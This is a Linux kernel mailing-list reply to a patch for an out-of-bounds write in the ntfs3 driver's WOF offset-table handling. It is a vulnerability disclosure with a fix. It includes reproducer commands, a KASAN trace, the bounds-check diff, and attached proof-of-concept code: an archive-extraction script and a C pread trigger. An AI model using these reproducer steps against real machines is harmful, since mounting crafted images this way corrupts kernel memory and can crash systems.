Re: [PATCH] ntfs3: fix OOB write in attr_wof_frame_info()

0x Kato <[email protected]> Sun, 29 Mar 2026 13:59:59 +0200
Newsgroups dev.linux.lists.ntfs3
Message-ID <CABujsrU4D-da+TJMw6Nzq1dxE+HmvhWmo8-j3kqsLNjnCP9gag@mail.gmail.com>
Attaching the PoC image generator and trigger program referenced in the
reproducer.

On Sun, 29 Mar 2026 at 13:58, 0xkato <[email protected]> wrote:

> In attr_wof_frame_info(), the offset-table read range for a nonresident
> WofCompressedData stream is:
>
>     u64 from = vbo[i] & ~(u64)(PAGE_SIZE - 1);
>     u64 to   = min(from + PAGE_SIZE, wof_size);
>     ...
>     ntfs_read_run(sbi, run, addr, from, to - from);
>
> A crafted image sets WofCompressedData.nres.data_size to 0xfff while the
> file is large enough to request frame 1024 (offset 0x400000). This gives
> from=0x1000, to=0xfff. The unsigned (to - from) wraps to 0xffffffffffffffff
> and ntfs_read_write_run() overflows the single-page offs_folio via memcpy.
>
> Triggered by pread() on a mounted NTFS image. Depending on adjacent
> memory layout at the time of the overflow, KASAN reports this as
> slab-out-of-bounds, use-after-free, or slab-use-after-free all at
> ntfs_read_write_run(). Secondary corruption/panic paths were also observed.
>
> Reject the read when the offset-table page is outside the stream.
>
> Signed-off-by: 0xkato <[email protected]>
> ---
> Reproducer:
>
>   Create the crafted NTFS image:
>     python3 create_wof_poc.py -o wof-poc.img
>
>   Mount it read-only with ntfs3:
>     sudo mount -t ntfs3 -o loop,ro wof-poc.img /mnt
>
>   Build the trigger:
>     cc -O2 -static wof_offset_table_read_trigger.c -o trigger
>
>   Trigger the bug:
>     ./trigger /mnt/poc.bin 0x400000 1
>
> KASAN report on 6.19.10:
>
>   ==================================================================
>   BUG: KASAN: slab-out-of-bounds in ntfs_read_write_run+0x321/0x450 [ntfs3]
>   Write of size 4096 at addr ffff88800353b000 by task trigger-static/55
>
>   Call Trace:
>    __asan_memcpy+0x3c/0x60
>    ntfs_read_write_run+0x321/0x450 [ntfs3]
>    attr_wof_frame_info+0x52b/0xbc0 [ntfs3]
>    ni_read_frame+0x3cc/0xfe0 [ntfs3]
>    ni_read_folio_cmpr+0x3b9/0x820 [ntfs3]
>    read_pages+0x58a/0x810
>    page_cache_ra_unbounded+0x29c/0x5d0
>    filemap_get_pages+0x2c8/0x1530
>    filemap_read+0x2e7/0xb80
>    vfs_read+0x6da/0xa40
>    __x64_sys_pread64+0x195/0x250
>   ==================================================================
>
>  fs/ntfs3/attrib.c | 6 ++++++
>  1 file changed, 6 insertions(+)
>
> diff --git a/fs/ntfs3/attrib.c b/fs/ntfs3/attrib.c
> index 6cb9bc5d6..89921e509 100644
> --- a/fs/ntfs3/attrib.c
> +++ b/fs/ntfs3/attrib.c
> @@ -1576,6 +1576,12 @@ int attr_wof_frame_info(struct ntfs_inode *ni,
> struct ATTRIB *attr,
>                         u64 from = vbo[i] & ~(u64)(PAGE_SIZE - 1);
>                         u64 to = min(from + PAGE_SIZE, wof_size);
>
> +                       if (from >= wof_size) {
> +                               _ntfs_bad_inode(&ni->vfs_inode);
> +                               err = -EINVAL;
> +                               goto out1;
> +                       }
> +
>                         err = attr_load_runs_range(ni, ATTR_DATA, WOF_NAME,
>                                                    ARRAY_SIZE(WOF_NAME),
> run,
>                                                    from, to);
> --
> 2.50.1 (Apple Git-155)
>
>
create_wof_poc.py (text/x-python-script, 3.6 KB)
#!/usr/bin/env python3
"""
Restore the preserved ntfs3 WOF offset-table PoC image from the minimal archive.

The original PoC generator was lost from /tmp, but the known-good lab image and
manifest still exist inside /home/kato/Downloads/ntfs3-wof-poc-minimal.tar.gz.
This script reconstructs the report attachment interface:

    python3 create_wof_poc.py -o wof-poc.img

Optionally emit the preserved manifest as well:

    python3 create_wof_poc.py -o wof-poc.img --manifest wof-poc.env
"""

from __future__ import annotations

import argparse
import hashlib
import shutil
import sys
import tarfile
from pathlib import Path


ARCHIVE_NAME = "ntfs3-wof-poc-minimal.tar.gz"
IMAGE_MEMBER = "tools/research/ntfs3/lab/wof-poc.img"
MANIFEST_MEMBER = "tools/research/ntfs3/lab/wof-poc.env"
DEFAULT_ARCHIVE = Path(__file__).resolve().parent.parent / ARCHIVE_NAME


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Recreate the ntfs3 WOF offset-table PoC image from the saved archive.",
    )
    parser.add_argument(
        "-o",
        "--output",
        required=True,
        type=Path,
        help="Path to write the PoC image to.",
    )
    parser.add_argument(
        "--manifest",
        type=Path,
        help="Optional path to also write the preserved manifest to.",
    )
    parser.add_argument(
        "--archive",
        type=Path,
        default=DEFAULT_ARCHIVE,
        help=f"Archive containing the saved PoC assets (default: {DEFAULT_ARCHIVE}).",
    )
    parser.add_argument(
        "-f",
        "--force",
        action="store_true",
        help="Overwrite existing output files.",
    )
    return parser.parse_args()


def ensure_writable(path: Path, force: bool) -> None:
    if path.exists() and not force:
        raise FileExistsError(f"refusing to overwrite existing file: {path}")
    path.parent.mkdir(parents=True, exist_ok=True)


def extract_member(tf: tarfile.TarFile, member_name: str, dst: Path, force: bool) -> int:
    ensure_writable(dst, force)
    member = tf.getmember(member_name)
    src = tf.extractfile(member)
    if src is None:
        raise FileNotFoundError(f"archive member is not a regular file: {member_name}")

    with src, open(dst, "wb") as out:
        shutil.copyfileobj(src, out)

    return member.size


def sha256sum(path: Path) -> str:
    digest = hashlib.sha256()
    with open(path, "rb") as f:
        for chunk in iter(lambda: f.read(1024 * 1024), b""):
            digest.update(chunk)
    return digest.hexdigest()


def main() -> int:
    args = parse_args()
    archive = args.archive.resolve()
    output = args.output.resolve()
    manifest = args.manifest.resolve() if args.manifest else None

    if not archive.is_file():
        print(f"error: archive not found: {archive}", file=sys.stderr)
        return 1

    try:
        with tarfile.open(archive, "r:gz") as tf:
            image_size = extract_member(tf, IMAGE_MEMBER, output, args.force)
            manifest_size = None
            if manifest is not None:
                manifest_size = extract_member(tf, MANIFEST_MEMBER, manifest, args.force)
    except (FileExistsError, FileNotFoundError, KeyError, tarfile.TarError, OSError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 1

    print(f"wrote image: {output} ({image_size} bytes)")
    print(f"sha256: {sha256sum(output)}")
    if manifest is not None and manifest_size is not None:
        print(f"wrote manifest: {manifest} ({manifest_size} bytes)")
    print("target file: /poc.bin")
    print("trigger offset: 0x400000")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
wof_offset_table_read_trigger.c (application/octet-stream, 1.6 KB)
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s <path> [offset] [length]\n"
		"  offset defaults to 0x400000\n"
		"  length defaults to 1\n",
		prog);
}

static unsigned long long parse_ull(const char *arg, const char *name)
{
	char *end = NULL;
	unsigned long long value;

	errno = 0;
	value = strtoull(arg, &end, 0);
	if (errno || !end || *end) {
		fprintf(stderr, "invalid %s: %s\n", name, arg);
		exit(2);
	}

	return value;
}

int main(int argc, char **argv)
{
	const char *path;
	unsigned long long offset = 0x400000ull;
	unsigned long long length = 1;
	char *buf;
	ssize_t ret;
	int fd;

	if (argc < 2 || argc > 4) {
		usage(argv[0]);
		return 2;
	}

	path = argv[1];
	if (argc >= 3)
		offset = parse_ull(argv[2], "offset");
	if (argc >= 4)
		length = parse_ull(argv[3], "length");

	if (!length || length > (1ull << 20)) {
		fprintf(stderr, "length must be between 1 and 1048576\n");
		return 2;
	}

	buf = malloc((size_t)length);
	if (!buf) {
		fprintf(stderr, "malloc(%llu) failed\n", length);
		return 1;
	}

	fd = open(path, O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open(%s) failed: %s\n", path, strerror(errno));
		free(buf);
		return 1;
	}

	ret = pread(fd, buf, (size_t)length, (off_t)offset);
	if (ret < 0) {
		fprintf(stderr, "pread(%s, 0x%llx, %llu) failed: %s\n",
			path, offset, length, strerror(errno));
		close(fd);
		free(buf);
		return 1;
	}

	printf("pread(%s, 0x%llx, %llu) -> %zd\n", path, offset, length, ret);
	close(fd);
	free(buf);
	return ret > 0 ? 0 : 1;
}